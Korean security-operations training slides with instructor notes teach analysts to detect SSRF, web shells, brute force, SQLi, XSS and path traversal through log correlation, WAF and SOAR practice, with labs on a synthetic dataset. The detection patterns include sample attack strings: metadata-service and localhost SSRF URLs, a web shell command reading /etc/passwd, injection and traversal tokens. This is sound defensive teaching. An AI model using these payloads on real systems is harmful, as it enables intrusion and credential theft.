대표 신호

127.0.0.1·localhost·169.254.169.254·내부 RFC1918 주소
file://·gopher://·dict:// 같은 비정상 프로토콜

추가 확인

Flow·DNS·CloudTrail·metadata access 흔적을 함께 확인
응답 바디에 키/토큰/내부 설정값이 들어갔는지 확인

실습 예시

preview/fetch/webhook/pdf 기능을 먼저 점검하기
메타데이터 접근은 자격증명 교체 판단까지 연결하기

SSRF · 타깃 패턴

localhost, 127.0.0.1, 169.254.169.254 패턴의 의미

이 주소들은 외부 사용자가 웹 기능에 넣을 정상 목적이 드문 편이며, SSRF 의심 신호로 매우 강하다.

🔴 localhost / 127.0.0.1

로컬 서비스, 관리자 포트, 내부 디버그 인터페이스 접근 시도

url=http://localhost:8080/admin
url=http://127.0.0.1:6379/

🟡 169.254.169.254

클라우드 메타데이터 서비스 → IAM 자격증명, 인스턴스 정보 탈취 가능성

url=http://169.254.169.254/latest/meta-data/

🟣 RFC1918 내부망

10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16

내부 DB, API, 관리 시스템 접근 시도

🔵 비정상 스킴/포트

file://, gopher://, dict://

Host, scheme, port, path 조합을 함께 보면 의도가 더 선명해진다

❓ 강사 질문: 왜 169.254.169.254가 클라우드 환경에서 특히 위험한가?

보강 설명이 주소들은 외부 사용자가 웹 기능에 넣을 정상 목적이 드문 편이며, SSRF 의심 신호로 매우 강합니다. 특히 169.254.169.254는 클라우드 자격증명 탈취와 연결됩니다.

127.0.0.1localhost169.254.169.254

대표 신호

127.0.0.1·localhost·169.254.169.254·내부 RFC1918 주소
file://·gopher://·dict:// 같은 비정상 프로토콜

추가 확인

Flow·DNS·CloudTrail·metadata access 흔적을 함께 확인
응답 바디에 키/토큰/내부 설정값이 들어갔는지 확인

실습 예시

preview/fetch/webhook/pdf 기능을 먼저 점검하기
메타데이터 접근은 자격증명 교체 판단까지 연결하기

SSRF · 로그 분석

SSRF는 access.log와 egress 로그를 함께 봐야 한다

입력은 웹 요청에 남고, 실제 영향은 서버의 후속 네트워크 행위에 남을 수 있다.

📋 access.log에서

url=, target=, callback=, image= 파라미터 확인
내부 주소·비정상 스킴 포함 여부
POST Body에 숨겨진 URL

📡 egress/DNS/Flow에서

내부 주소 또는 메타데이터 대상 실제 접속
app/error: fetch 실패, connection refused, timeout
비정상 포트·프로토콜 아웃바운드

access.log
url= 파라미터
내부 주소 포함

+

app/error.log
fetch 실패
timeout

+

egress/DNS
내부망 접속
메타데이터 호출

→

🚨 SSRF
확신 상승

⚠️ 성공/실패와 무관하게 시도 흔적 자체가 중요하다 — 실패한 SSRF 시도도 공격자의 내부 정찰 의도를 드러낸다

보강 설명입력은 웹 요청에 남고, 실제 영향은 서버의 후속 네트워크 행위에 남을 수 있습니다. access.log만 보면 수상한 URL 문자열, egress만 보면 이상한 연결 — 두 개를 붙여 사건으로 봐야…

SSRFegressdns

대표 신호

127.0.0.1·localhost·169.254.169.254·내부 RFC1918 주소
file://·gopher://·dict:// 같은 비정상 프로토콜

추가 확인

Flow·DNS·CloudTrail·metadata access 흔적을 함께 확인
응답 바디에 키/토큰/내부 설정값이 들어갔는지 확인

실습 예시

preview/fetch/webhook/pdf 기능을 먼저 점검하기
메타데이터 접근은 자격증명 교체 판단까지 연결하기

SSRF · 탐지 설계

SSRF 탐지 룰 설계와 오탐 포인트

내부/메타데이터 주소, 비정상 스킴, 포트, 후속 아웃바운드 연결을 함께 보면 SSRF 룰이 강해진다.

1차 룰 (입력 패턴)

url/target/callback 파라미터에 localhost, 127.0.0.1, 169.254.169.254, RFC1918 대역 포함

2차 조건 (스킴/포트)

metadata path, 내부 관리 포트, file://, gopher:// 등 비정상 스킴

3차 상관 (후속 행위)

해당 요청 직후 서버 아웃바운드 연결 또는 DNS query 발생 여부

✅ 정상 예외 케이스

합법적 내부 URL fetch 기능, 테스트 환경, 관리 자동화 → 허용 목록 관리 필수

🏗️ 설계 원칙: 1차(입력) → 2차(스킴/포트) → 3차(아웃바운드 상관) 계층화 룰이 단일 룰보다 훨씬 강하다

보강 설명내부/메타데이터 주소, 비정상 스킴, 포트, 후속 아웃바운드 연결을 함께 보면 SSRF 룰이 강해집니다. 합법적인 내부 URL fetch 기능과 공격의 차이는 원래 서비스 목적을 반드시 확인해야 합니…

SSRF 룰metadata내부 URL

대표 신호

127.0.0.1·localhost·169.254.169.254·내부 RFC1918 주소
file://·gopher://·dict:// 같은 비정상 프로토콜

추가 확인

Flow·DNS·CloudTrail·metadata access 흔적을 함께 확인
응답 바디에 키/토큰/내부 설정값이 들어갔는지 확인

실습 예시

preview/fetch/webhook/pdf 기능을 먼저 점검하기
메타데이터 접근은 자격증명 교체 판단까지 연결하기

SSRF · Case Study

Case Study | 4개 IP 사건 패턴 종합

업로드, 인증 공격, API Abuse, SSRF — 모두 "정상 기능처럼 보이는 요청"을 악용한다는 공통점이 있다.

🔴 172.104.81.55 — WebShell

POST /upload 후 /uploads/shell.php?cmd=whoami, cat /etc/passwd

업로드→실행 체인 완성 / 서버 장악 최고 위험

🟡 89.248.165.44 — Brute Force

/login POST 다수 반복 → 401 다수 후 302 1회

실패→성공 전환 포착 / 계정 탈취 가능성 높음

🟣 104.237.146.2 — API Abuse

/api/v1/login 짧은 시간 과다 호출 → 401/429/200 혼합

Credential Stuffing 자동화 패턴

🔵 51.158.201.77 — SSRF

127.0.0.1, localhost, 169.254.169.254 접근 시도

메타데이터·내부 자원 정찰 의도 명확

💡 FPCA 적용: Fact(각 IP의 요청 패턴) → Pattern(공격 유형) → Context(자산 중요도) → Action(차단/격리/IR)

보강 설명업로드, 인증 공격, API Abuse, SSRF는 모두 정상 기능처럼 보이는 요청을 악용한다는 공통점이 있습니다. 각 IP를 대표 공격 유형과 바로 연결해 보세요.

172.104.81.5589.248.165.44104.237.146.2

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

SSRF · 핵심 정리

SSRF 핵심 정리: 정상 기능처럼 보이는 요청도 체인으로 보면 공격이 된다

업로드, 인증, SSRF는 단일 문자열보다 기능 악용과 후속 행위의 맥락이 더 중요하다.

📦 업로드 공격 핵심

저장(POST) + 실행(GET 호출)을 체인으로 본다
multipart, filename, 실행형 확장자 조합
업로드 후 호출 → 강한 WebShell 신호

🔐 인증 공격 핵심

실패(401/403) → 성공(200/302) 전환 포착
429는 Rate Limit — 자동화 지표
성공 후 특권 엔드포인트 접근 여부 확인

🌐 SSRF 핵심

localhost/127.0.0.1/169.254.169.254 = 강한 신호
access.log 입력 + egress/DNS 후속 연결 상관
실패해도 시도 흔적이 중요

🔗 공통 분석 원칙

기능 정상 목적 vs 악용 맥락 구분
후속 행위(프로세스·파일·네트워크) 연결
SOAR 플레이북으로 자동 보강 조사

보강 설명업로드, 인증, SSRF는 단일 문자열보다 기능 악용과 후속 행위의 맥락이 더 중요합니다. 상관분석과 운영 플레이북이 특히 잘 맞는 영역입니다.

업로드인증SSRF

복습 체크

URI·상태코드·bytes를 한 세트로 읽기
단일 이벤트보다 체인·후속행위 우선 보기

바로 적용

다음 근무에서 웹 알람 1건을 다시 FPCA로 써 보기
decoded_uri·XFF·request_time 수집 여부 확인

학습 확장

WAF·App·EDR 로그를 한 타임라인으로 묶기
반복 패턴과 상태 전환을 먼저 보는 습관 만들기

운영 통합

웹 공격 흐름 / WAF / 탐지 운영

Recon부터 Exfiltration까지 — 전체 킬체인을 하나의 프레임으로

⏱ 약 55분

보강 설명 Recon부터 Exfiltration까지 — 전체 킬체인을 하나의 프레임으로. 탐지는 문자열 매칭으로 끝나지 않는다. WAF 차단, 허용, 우회, 후속 성공 신호를 하나의 운영 프레임으로 묶어야 실제 사고를 놓치지 않는다.

WAF상관분석운영

핵심 포인트

차단 로그와 허용 로그를 분리해 보지 말고 같은 행위자의 연속 흐름으로 보기
룰 적중 횟수보다 우회 이후 성공 신호(status, bytes, response_time)가 더 중요할 수 있다
정탐·오탐·보류 기준을 명확히 문서화해야 운영 피로를 줄일 수 있다

추가 확인

WAF rule_id, decoded URI, App 로그를 함께 저장해 튜닝 근거 확보
자산 중요도와 관리자 표면 여부에 따라 같은 이벤트도 우선순위를 다르게 부여
상관분석에서 IP 외에 세션, 계정, 토큰, 파일경로도 키로 활용

실무 예시

차단→우회→성공으로 이어지는 3단계 상관규칙을 설계해 보기
WAF 차단만 보고 종료하면 놓치는 시나리오를 하나 적기
운영팀에 전달할 룰 튜닝 요구사항을 한 문장으로 정리

PART 8 · 웹 공격 흐름

Recon → Exploit → Access → Persistence → Exfiltration

웹 공격은 스캔 한 줄에서 끝나지 않고, 정찰에서 접근, 지속성, 유출로 이어지는 체인으로 보아야 한다.

🔍 Recon
경로 탐색
버전 확인
파라미터 테스트

→

💥 Exploit
SQLi·XSS·LFI
CMDi·Upload
SSRF·Auth

→

🔓 Access
WebShell
계정 탈취
세션 악용

→

🪤 Persistence
cron/service
계정·키 변경
백도어

→

📤 Exfiltration
대량 조회
파일 다운로드
외부 업로드

각 단계에서 남는 로그 흔적

Recon: 404 폭증, UA(scanner), 무작위 경로
Exploit: payload 패턴, 상태코드 이상
Access: 실행형 파일 호출, 401→302
Persistence: cron/process 생성, host log
Exfiltration: 대용량 응답, 외부 egress

💡 SOC 분석가의 목표는 단계별 흔적을 연결해 사건 흐름을 말로 재구성하는 것 — payload 암기가 아니다

보강 설명웹 공격은 스캔 한 줄에서 끝나지 않고, 정찰에서 접근, 지속성, 유출로 이어지는 체인으로 보아야 합니다. 학생이 공격을 기능별 취약점 목록이 아니라 하나의 사건 흐름으로 보게 만드는 것이 목표입니다.

공격 흐름ReconPersistence

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

PART 8 · ATT&CK

웹 공격을 ATT&CK와 보고 체계에 매핑하기

공통 언어를 쓰면 탐지, 인텔, 사고대응, 보고가 한 프레임 위에서 연결된다.

공격 유형	ATT&CK ID
SQLi / XSS / LFI / SSRF	T1190
Command Injection	T1059.004
WebShell 지속성	T1505.003
Brute Force / Stuffing	T1110 계열
데이터 수집/유출	T1005 / T1041

💬 ATT&CK 언어가 주는 실용적 가치

탐지 룰 태깅 → 커버리지 시각화
인텔팀·IR팀과 같은 용어로 소통
보고서 일관성 향상
blind spot 파악 가능

💡 목적: 암기 X → 공통 언어 사용 O

보강 설명공통 언어를 쓰면 탐지, 인텔, 사고대응, 보고가 한 프레임 위에서 연결됩니다. ATT&CK를 외우게 하기보다 왜 같은 언어가 필요한가에 초점을 맞추세요.

ATT&CK 매핑T1190T1059.004

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

PART 8 · WAF

WAF는 패턴 기반 차단의 전방 센서다

WAF는 매우 유용하지만, 그 자체로 전체 진실은 아니다.

✅ WAF의 강점

패턴 차단, 룰 ID, 차단 시점 제공
일부 Request Body 가시성
빠른 우회 차단 속도
대규모 스캔 조기 억제

⚠️ WAF의 한계

인코딩/변형 우회 가능성
정상 기능과 충돌 → 오탐
내부 로직·호스트 영향 파악 약함
암호화 트래픽 내부까지는 보기 어려움

Request
공격 요청

→

WAF
Block/Allow

→

Access Log
전체 흔적

→

App/Host/EDR
내부 영향

⚠️ "WAF가 차단했다" ≠ "공격이 실패했다" — 우회 시도와 후속 흔적도 함께 봐야 한다

보강 설명WAF는 매우 유용하지만, 그 자체로 전체 진실은 아닙니다. WAF가 잡았다고 끝인지 꼭 질문하세요. WAF 알람은 추가 조사의 시작점입니다.

WAF전방 센서우회 가능성

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸

PART 8 · 탐지 운영

WAF vs Access vs App vs EDR — 각자의 강점

각 로그는 경쟁 관계가 아니라, 서로의 blind spot을 메워 주는 보완 관계다.

WAF 로그

룰 시그널 / 차단 여부
룰 ID, 매칭 패턴
차단 시점

✅ 첫 번째 알람 소스

Access Log

요청 전반 / 장기 추적
상태코드 · UA · IP
WAF가 없는 경로 포함

✅ 타임라인 재구성

App/Error Log

내부 예외 · 에러
비즈니스 문맥
DB 쿼리 오류

✅ 실제 영향 확인

EDR / Host / Network

프로세스 · 파일 생성
Exploit 후 행위
egress 연결

✅ 침해 사실 확인

❓ "이 질문은 어느 로그가 제일 잘 답해 주나?" — 로그 소스별 강점을 알면 조사 속도가 빨라진다

보강 설명각 로그는 경쟁 관계가 아니라, 서로의 blind spot을 메워 주는 보완 관계입니다. 이 질문은 어느 로그가 제일 잘 답해 주나를 물어보세요.

WAF 로그Access LogApp Log

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸

PART 8 · 탐지 엔지니어링

탐지 엔지니어링: 어떤 필드를 정규화할 것인가

좋은 웹 탐지는 문자열 매칭보다도, 수집 단계에서 어떤 필드를 표준화했는가에 크게 좌우된다.

Raw Log
원본

→

Decoded
URL 디코딩

→

Normalized
필드 추출

→

Enriched
자산/계정
컨텍스트

→

Correlated
이벤트 체인

웹 요청 필드

raw_uri / decoded_uri / normalized_path
query_param / body_field / content_type
method / status / bytes / response_time

컨텍스트 / 상관 필드

src_ip / xff_ip / user_agent / session_id
account / endpoint / host / rule_id
correlation_key (IP+session+asset)

📌 탐지 품질은 룰 수가 아니라 데이터 모델의 완성도가 결정한다 — 잘못 정규화된 필드는 상관분석을 불가능하게 만든다

보강 설명좋은 웹 탐지는 문자열 매칭보다도, 수집 단계에서 어떤 필드를 표준화했는가에 크게 좌우됩니다. 탐지는 룰 이전에 데이터 모델이라는 점을 강조하세요.

정규화 필드decoded_uristatus

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸

PART 8 · 탐지 설계

단일 룰보다 상관 룰이 강한 이유

웹 공격은 한 줄이 아니라 여러 줄의 패턴으로 드러나는 경우가 많기 때문에, 상관분석이 특히 강하다.

단일 룰 (1차 신호)

SQL 키워드 등장 → 알람
Recall 높음, Precision 낮음
오탐 많음, 피로도 증가

상관 룰 (체인 신호)

같은 IP + 다양한 payload 변화 + 상태코드 이상
업로드 직후 파일 호출
401 반복 → 성공 전환 + 특권 접근

대표 상관 패턴 예시

📌 SQLi: 동일 IP, 30분 내 >10회, 다양한 payload 변형, 200/500 혼합

📌 WebShell: POST /upload (200) → 5분 내 GET /uploads/*.php → 200

📌 Auth: /login POST 401 >20회 → 200/302 1회 → /admin 접근

📌 SSRF: url= 내부주소 → 10초 내 서버 아웃바운드 DNS/HTTP

⚠️ 주의: correlation key와 시간창을 잘못 잡으면 놓침과 과탐이 동시에 발생 — 설계 단계에서 검증 필수

보강 설명웹 공격은 한 줄이 아니라 여러 줄의 패턴으로 드러나는 경우가 많기 때문에, 상관분석이 특히 강합니다. 상관 룰이 주는 가장 큰 장점 하나를 말하게 해보세요.

상관 룰시간창correlation key

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

PART 8 · SOAR

웹 공격 SOAR 조사 플레이북 공통 구조

반복적으로 확인해야 하는 근거가 정해져 있으므로, 웹 공격은 자동 보강 조사와 잘 맞는다.

① 입력 단계 (자동 수집)

요청 원문, decoded 필드
status sequence, 반복 횟수
WAF 룰 ID, 매칭 패턴

② 자산 단계 (자동 조회)

서버 중요도, 공개 서비스 여부
관리자 표면·민감 데이터 여부
최근 패치 이력

③ 영향 단계 (자동 확인)

app error, process create, file create
egress 연결, account success 여부
이후 특권 접근·내부 이동 여부

④ 조치 단계 (정책 연계)

WAF 룰 강화, IP 차단
계정 보호, 세션 종료
개발팀 티켓, IR 에스컬레이션

💡 자동화는 조사 속도를 높이되, 최종 판단은 맥락과 예외를 아는 사람이 한다

보강 설명반복적으로 확인해야 하는 근거가 정해져 있으므로, 웹 공격은 자동 보강 조사와 잘 맞습니다. 무엇을 자동화하고 무엇은 사람이 판단할지 질문해보세요.

SOAR자동 보강영향 조회

자동화 입력

탐지 이벤트에 자산 중요도·최근 24h 히스토리 보강
IP·계정·엔드포인트 기준으로 관련 이벤트를 묶음

사람 승인

서버 격리·대규모 차단·세션 강제 종료는 사람 승인 필요
고객 영향·업무 시간대·우회 가능성을 같이 판단

자동화 출력

티켓 생성·온콜 통지·증거 로그 자동 수집까지 연결
WAF 룰 임시 적용과 만료 시간도 같이 기록

PART 8 · 운영 커뮤니케이션

좋은 분석가의 Handoff 문장

다음 팀이 바로 움직일 수 있게 만드는 문장이 좋은 운영 문장이다.

📝 좋은 Handoff 문장의 4요소

누가출발지 IP, 계정, 세션, 자산 무엇을엔드포인트, 파라미터, payload, 반복 횟수 왜 중요공격 유형, 영향 가능성, 자산 중요도 다음 행동추가 확인 로그, 차단/격리/패치/티켓

✅ 좋은 예:
"185.220.101.45가 14:23~14:41 사이 /login에 401 47회 후 200 1회. user=admin으로 성공 전환. 직후 /admin/users 접근 1회(200). IR 에스컬레이션 필요, 계정 잠금 및 세션 종료 권고."

❌ 나쁜 예:
"의심스러운 로그인 시도가 있었습니다. 확인 바랍니다."

웹 로그 분석의 최종 산출물은 알람이 아니라 다음 팀이 이해할 수 있는 행동 가능한 문장이다

보강 설명다음 팀이 바로 움직일 수 있게 만드는 문장이 좋은 운영 문장입니다. 모호한 표현을 금지하고 구체 필드를 넣게 하세요.

handoff운영 문장추가 확인

보고서에 꼭 넣을 것

누가·언제·어디를 공격했는지 1문장 요약
근거 필드(URI/status/bytes/UA)를 본문에 명시
즉시 조치와 추가 확인을 분리 작성

좋은 문장의 기준

단정 표현보다 “성공 가능성/추정 근거”를 함께 제시
오탐 가능성과 자산 중요도를 빠뜨리지 않기
다음 팀이 바로 움직일 수 있게 요청사항까지 포함

짧은 실습

현재 페이지 내용을 3문장 handoff로 다시 써 보기
IR/개발/WAF 운영 중 누구에게 보낼지 적기
추가로 필요한 로그 1가지를 꼭 덧붙이기

PART 8 · 탐지 운영

오탐과 튜닝 거버넌스

탐지 룰은 만드는 순간보다, 서비스 변화와 함께 유지되는 과정이 더 어렵다.

Detect
알람 발생

→

Review
정탐/오탐
판단

→

Tune
임계치·예외
조정

→

Document
변경 이력
기록

→

Re-Deploy
룰 재배포

🔄 오탐을 늘리는 주요 변화

신규 기능 출시, 리치텍스트 도입
API 확장, SSO 변경
CDN 우회, 배치 작업 추가

✅ 좋은 튜닝 거버넌스

개발팀과 기능 화이트리스트 공유
허용 입력·정상 배치 목록 유지
룰 임계치·예외 문서화 + 변경 이력

📌 탐지 성능은 정탐률만이 아니라 피로도, 대응 시간, 운영 협업 품질까지 함께 봐야 한다

보강 설명탐지 룰은 만드는 순간보다, 서비스 변화와 함께 유지되는 과정이 더 어렵습니다. 좋은 룰과 운영 가능한 룰의 차이를 묻게 하세요.

오탐튜닝변경 관리

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸

PART 8 · 운영 KPI

웹 탐지 운영의 KPI와 팀 협업

탐지 품질은 알람 수가 아니라, 의미 있는 발견과 빠른 handoff로 측정하는 편이 낫다.

📊 주요 탐지 KPI

Fidelity: 알람 대비 실제 조사 필요 비율 (FPR)

Coverage: 공격 유형별 탐지 커버리지 + blind spot

MTTD: 평균 탐지 시간

Triage Time: 알람→판단 소요 시간

🤝 팀 간 연락 체계

🔵 개발팀: 신규 기능, 정상 입력 패턴 공유

🟢 인프라팀: 서버 변경, CDN·WAF 업데이트

🟡 IR팀: 에스컬레이션·침해 조사 연계

🟣 IAM팀: 계정·세션·MFA 정책 조율

실습과 운영은 분리되지 않는다 — 교육 과정 자체가 탐지 문화의 일부가 된다

보강 설명탐지 품질은 알람 수가 아니라, 의미 있는 발견과 빠른 handoff로 측정하는 편이 낫습니다. 웹 탐지 KPI를 하나만 고르라면 무엇을 보겠는지 질문하세요.

KPI탐지 커버리지triage time

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸

PART 9

실습 / 데이터셋 / 기준 답안

로그를 읽는 것에서 사건을 말하는 것으로 — 110분 실습

⏱ 약 110분

보강 설명 로그를 읽는 것에서 사건을 말하는 것으로 — 110분 실습. 실습의 목적은 맞히는 것보다 근거를 설명하는 것이다. 사실→패턴→맥락→조치 순서로 말할 수 있어야 실무형 분석이 된다.

실습답안 포인트보고 문장

답안 포인트

주어진 사실과 추론을 분리해서 쓰기
상태코드·bytes·반복성·자산 중요도 같은 관찰 근거를 반드시 넣기
즉시 조치와 추가 확인을 구분해 쓰면 전달력이 높아짐

추가 확인

같은 IP/세션의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host/EDR 중 비어 있는 로그를 한 소스 더 확보
정탐과 오탐 두 가설을 같이 적고 더 필요한 로그를 제시

미니 실습

한 줄 로그를 2~3문장 보고서로 바꿔 보기
팀장/개발자/운영자 각각에게 필요한 요약 문장을 따로 써 보기
질문형 보고 대신 결론형 보고 문장으로 고쳐 보기

PART 9 · 실습 운영

실습 운영 원칙과 데이터셋의 한계

실습의 목표는 정답 맞추기가 아니라, 근거를 말하고 다음 행동을 제안하는 훈련이다.

📐 실습 원칙

FPCA 프레임 적용: Fact → Pattern → Context → Action
"왜 그렇게 판단했는가" + "무엇을 더 보면 확신이 높아지는가" 반드시 포함
오탐 가능성도 함께 언급
웹 로그만으로 결론 단정 금지

⚠️ 데이터셋 한계

합성 데이터 — 실제 운영 환경과 다를 수 있음
access.log 위주 — app/host/network log 없음
공격 성공 여부는 웹 로그만으로 단정 불가
정상 트래픽이 일부 포함되어 있음

💡 FPCA 분석 프레임
Fact: 어떤 IP가 어떤 엔드포인트에 어떤 요청을 몇 회 보냈는가
Pattern: 어떤 공격 유형과 일치하는가 / 반복성·상태코드 패턴
Context: 자산 중요도, 이후 행위, 타 로그 연결 여부
Action: 추가 확인 대상, 차단/격리/보고/에스컬레이션

보강 설명실습의 목표는 정답을 찾는 것이 아니라 근거를 말하는 훈련입니다. 어떤 추가 로그를 보면 확신이 높아지는가를 반복해서 묻는 것이 핵심입니다.

실습데이터셋 한계FPCA

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시

PART 9 · 데이터셋

데이터셋 전체 공격 IP 맵

주요 IP별 공격 유형을 한눈에 파악해 두면 실습 속도가 빨라진다.

IP 주소	주요 공격 유형
185.143.223.17	SQL Injection
45.77.22.90	XSS
91.240.118.31	LFI / Traversal
103.44.19.8	Command Injection
172.104.81.55	File Upload / WebShell

IP 주소	주요 공격 유형
89.248.165.44	Brute Force
104.237.146.2	Credential Stuffing / API
51.158.201.77	SSRF
다수	정상 트래픽 (Scanner UA 등)

💡 한 IP가 여러 공격 유형을 동시에 시도하는 경우도 있다 — 복합 시나리오 주의

보강 설명주요 공격 IP들을 한 번에 맵으로 보여주는 슬라이드입니다. 학생들이 데이터셋 지도를 머릿속에 그릴 수 있도록 돕습니다.

데이터셋공격 IP공격 유형

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

PART 9 · 실습

Lab A. SQLi 요청 15건 이상 식별하기

SQL Injection 패턴을 찾고 자동화 여부와 수동 시도를 구분하라.

🎯 실습 목표

185.143.223.17의 SQLi 요청 15건 이상 식별
사용된 payload 패턴 분류
상태코드 분포 분석
자동화 스캐너 vs 수동 시도 구분

🔎 찾아야 할 패턴

' OR 1=1, UNION SELECT, ORDER BY N
SLEEP(N), BENCHMARK()
주석: --, /**/, #
URL 인코딩: %27, %20
User-Agent: sqlmap, Havij

📋 FPCA 분석 문장 작성 요령

F: 185.143.223.17이 [시간대]에 [엔드포인트]에 [패턴]을 포함한 요청을 [N]회 전송
P: SQLi 시도로 판단 — 근거: [payload 목록], 상태코드 [분포], [UA]
C: 자산 중요도 [확인 필요], 오탐 가능성 [낮음/있음] — 근거: [이유]
A: WAF 차단 여부 확인, DB/App 로그 연결 조사, IP 차단 검토

보강 설명Lab A는 SQL Injection 요청을 식별하는 실습입니다. 자동화 스캐너 패턴과 수동 시도를 구분하는 것도 목표입니다.

SQLi실습Lab A

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시

PART 9 · 실습

Lab B. XSS 요청 분류하기

XSS 패턴을 찾고 Reflected / Stored 가능성을 구분하라.

🎯 실습 목표

45.77.22.90의 XSS 패턴 요청 식별
Reflected vs Stored 가능성 구분
인코딩 우회 시도 포함 여부 확인
실제 영향(세션 탈취) 가능성 판단

🔎 찾아야 할 패턴

<script>, onerror=, onload=
<svg/onload=, javascript:
HTML 엔티티: <, <
POST body에 숨겨진 XSS (Stored 가능성)

Reflected XSS 판단 기준

GET 파라미터에 스크립트 토큰 + 200 응답
단발성, 반응 확인형 요청

Stored XSS 의심 기준

POST 요청에 스크립트 토큰 + 200/201
입력 → 저장 → 조회 흐름 확인 필요

보강 설명Lab B는 XSS 요청을 분류하는 실습입니다. Reflected vs Stored 구분, 인코딩 우회 포함 여부를 확인하는 것이 목표입니다.

XSS실습Lab B

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기
성공 신호와 오탐 가능성을 반드시 동시에 적기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함
즉시 조치와 추가 확인을 분리해 쓰면 점수가 올라감

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시
다음 팀에 넘길 질문 1개를 꼭 포함시키기

PART 9 · 실습

Lab C. LFI / Traversal 식별하기

경로 조작 패턴을 찾고 민감 파일 접근 시도 여부를 판단하라.

🎯 실습 목표

91.240.118.31의 Traversal/LFI 패턴 식별
인코딩 변형 포함 여부 확인
타겟 파일 목록 추출
상태코드 분포 해석

🔎 찾아야 할 패턴

../, %2e%2e%2f, ..%2f
/etc/passwd, /etc/shadow
/var/log/, .env, config.php
php://filter/, file://

상태코드별 해석

200: 파일 읽기 성공 → 최고 위험
403: 접근 차단 — 파일은 존재
404: 경로 없음 — 계속 탐색 중
500: 서버 오류 — 부분 성공 가능성

⚠️ 403/404/500도 중요한 정찰 흔적 — "실패했으니 문제없다"는 오판에 주의

